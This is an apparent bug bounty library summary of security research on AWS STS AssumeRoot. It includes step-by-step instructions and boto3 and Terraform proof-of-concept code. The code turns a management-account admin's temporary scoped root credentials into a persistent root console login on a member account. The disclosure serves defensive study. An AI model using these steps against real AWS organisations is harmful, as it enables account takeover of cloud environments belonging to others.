# Exploring AWS STS AssumeRoot

Compromised admin IAM user in management account calls STS AssumeRoot with IAMCreateRootUserPassword to create a root login profile on a member account, then resets password for full console takeover.

- Payout: Research
- Severity: high
- Program: Amazon
- Write-up by: Terrance DeJesus
- Disclosed: 2024-12-10
- Write-up quality: 6/10
- Original: https://www.elastic.co/security-labs/blog/exploring-aws-sts-assumeroot
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-blog-exploring-aws-sts-assumeroot
- Tags: area:cloud domain:cloud impact:ato impact:privesc kind:research platform:threat-intel sev:high tech:aws technique:source-review vuln:auth-bypass vuln:misconfiguration vuln:privilege-escalation

**Target:** AWS STS AssumeRoot API and IAM CreateLoginProfile
**Root cause:** AssumeRoot task policies like IAMCreateRootUserPassword grant iam:CreateLoginProfile, letting a management-account principal mint a console login profile for a member account's root user; the resulting console access outlives the 900s scoped session.
**Steps:**
1. Enable centralized root access for the organization and note the member account ID (e.g. `000000000001`).
2. Obtain programmatic credentials of an admin IAM user in the management account (simulated via Terraform `AdministratorAccess` user).
3. Build an STS client with `endpoint_url=f'https://sts.{region}.amazonaws.com'` (omitting it causes InvalidOperation).
4. Call `sts_client.assume_root(TargetPrincipal=member_account_id, DurationSeconds=900, TaskPolicyArn={"arn": "arn:aws:iam::aws:policy/root-task/IAMCreateRootUserPassword"})` to get root temp credentials.
5. Create an IAM client with the returned AccessKeyId/SecretAccessKey/SessionToken and call `iam_client.create_login_profile()` (no UserName needed; acts on the authenticated root).
6. On the AWS console login page use 'Forgot Password' for the root user, complete CAPTCHA, and use the emailed reset link to set a new root password.
**How found:** Whitebox exploration of the newly released AssumeRoot API: reviewing the five task policy ARNs and noting IAMCreateRootUserPassword includes iam:CreateLoginProfile, which can be applied to a root user that normally lacks console access.
**Exploitation:** Attacker with stolen admin IAM credentials in the management account assumes the member account root under the IAMCreateRootUserPassword task policy, creates a root login profile, then triggers the console password-reset flow to set a permanent root password, gaining unrestricted console control of the member account.
**Escalation:** Temporary 15-minute scoped root credentials are converted into a persistent root console login via CreateLoginProfile plus password reset, escaping the task-policy scope and session duration.
**Insight:** When a new scoped-credential API ships, enumerate each task policy's underlying IAM actions and check whether any (like CreateLoginProfile) can bootstrap a persistent identity that outlives the scoped session.

## Proof of concept (copied exactly from the original report)

**Python AssumeRoot call with IAMCreateRootUserPassword task policy**

```
response = sts_client.assume_root(
 TargetPrincipal=member_account_id,
 DurationSeconds=900,
 TaskPolicyArn={"arn": "arn:aws:iam::aws:policy/root-task/IAMCreateRootUserPassword"},
)
root_temp_creds = response["Credentials"]
```

**Create login profile as assumed root**

```
iam_client = boto3.client(
 "iam",
 aws_access_key_id=root_temp_creds["AccessKeyId"],
 aws_secret_access_key=root_temp_creds["SecretAccessKey"],
 aws_session_token=root_temp_creds["SessionToken"],
)

response = iam_client.create_login_profile()
```

**Terraform creating over-permissive compromised IAM user**

```
resource "aws_iam_user" "compromised_user" {
 name = "CompromisedUser"
}

# Attach AdministratorAccess Policy to the compromised user
resource "aws_iam_user_policy_attachment" "compromised_user_policy" {
 user = aws_iam_user.compromised_user.name
 policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
}

# Create access keys for the compromised user
resource "aws_iam_access_key" "compromised_user_key" {
 user = aws_iam_user.compromised_user.name
}
```

